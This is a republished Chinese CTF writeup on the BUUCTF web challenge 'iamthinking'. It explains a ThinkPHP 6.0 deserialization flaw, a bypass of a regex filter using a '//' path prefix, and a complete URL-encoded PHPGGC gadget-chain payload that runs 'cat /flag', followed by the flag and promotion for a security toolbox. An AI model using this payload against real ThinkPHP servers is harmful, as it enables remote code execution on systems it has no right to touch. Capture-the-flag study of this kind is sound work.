buuctf WEB [安洵杯 2019]iamthinking writeup

作者:长弓三皮 发布:2026-09-23 08:08 收录:2026-09-23 10:24 4 次阅读 约 808 字
摘要:一站式Web安全全能工具箱!集成了50+种扫描模块,涵盖SQL注入、XSS、LFI、RCE、SSRF等经典与现代漏洞检测方式,支持内置浏览器调试、请求头实时监控、Headers自动穿透、API安全测试等多种高级功能,是CTF竞赛选手和网络安全学习者的必备利器!

随波逐流工作室—-探索前沿科技,分享最新软件。点击标题下蓝字“长弓三皮”关注,我们将为您提供有深度、有价值、有意思的阅读。

朋友们,现在只对常读和星标的公众号才展示大图推送,建议大家把长弓三皮“设为星标”,否则可能就看不到了啦!

作者:随波逐流


buuctf WEB



随波逐流
WriteUp



打开 [随波逐流]WEB安全工具访问

随波逐流WEB安全工具--工具--目录深度扫描

核心代码在app/controller/Index.php:


随波逐流WEB安全工具--工具--代码安全审计



1、环境:ThinkPHP 6.0.X + PHP 7.2.25;

2、漏洞点:unserialize($payload),

3、preg_match("/^O/i",$value),过滤“以O开头的参数值”;

4、绕过思路:在Payload前加//(PHP注释符),让正则匹配不到^O;

用PHPGGC生成ThinkPHP 6.0的RCE Payload

随波逐流WEB安全工具--工具--PHP反序列化

O%3A41%3A%22League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%22%3A3%3A%7Bs%3A47%3A%22%00League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%00pool%22%3BO%3A26%3A%22League%5CFlysystem%5CDirectory%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00filesystem%22%3BO%3A26%3A%22League%5CFlysystem%5CDirectory%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00filesystem%22%3BO%3A14%3A%22think%5CValidate%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00type%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00path%22%3Bs%3A9%3A%22cat%20%2Fflag%22%3B%7Ds%3A7%3A%22%00%2A%00path%22%3Bs%3A3%3A%22key%22%3B%7Ds%3A11%3A%22%00%2A%00autosave%22%3Bb%3A0%3Bs%3A6%3A%22%00%2A%00key%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22anything%22%3B%7D%7D
///public/?payload=O%3A41%3A%22League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%22%3A3%3A%7Bs%3A47%3A%22%00League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%00pool%22%3BO%3A26%3A%22League%5CFlysystem%5CDirectory%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00filesystem%22%3BO%3A26%3A%22League%5CFlysystem%5CDirectory%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00filesystem%22%3BO%3A14%3A%22think%5CValidate%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00type%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00path%22%3Bs%3A9%3A%22cat%20%2Fflag%22%3B%7Ds%3A7%3A%22%00%2A%00path%22%3Bs%3A3%3A%22key%22%3B%7Ds%3A11%3A%22%00%2A%00autosave%22%3Bb%3A0%3Bs%3A6%3A%22%00%2A%00key%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22anything%22%3B%7D%7D

CTF2{6f943d22-c2b1-4cbf-930a-175c4f9f1859}











公众号内输入
 搜索公众号+题目标题
可搜索到此文章



-------------------------------------------

软件发布网址: 随波逐流信息安全网

http://www.1o1o.xyz

微信公众号:长弓三皮

--------------------------------------------


你若喜欢,为“长弓三皮”点个赞和在看哦 

转载声明:本文转载自原发布平台 (作者:长弓三皮), 原文标题《buuctf WEB [安洵杯 2019]iamthinking writeup》, 查看原文。 版权归原作者及原发布平台所有,本站仅作收录与展示,未对正文内容作实质性修改; 若涉及侵权请联系本站处理。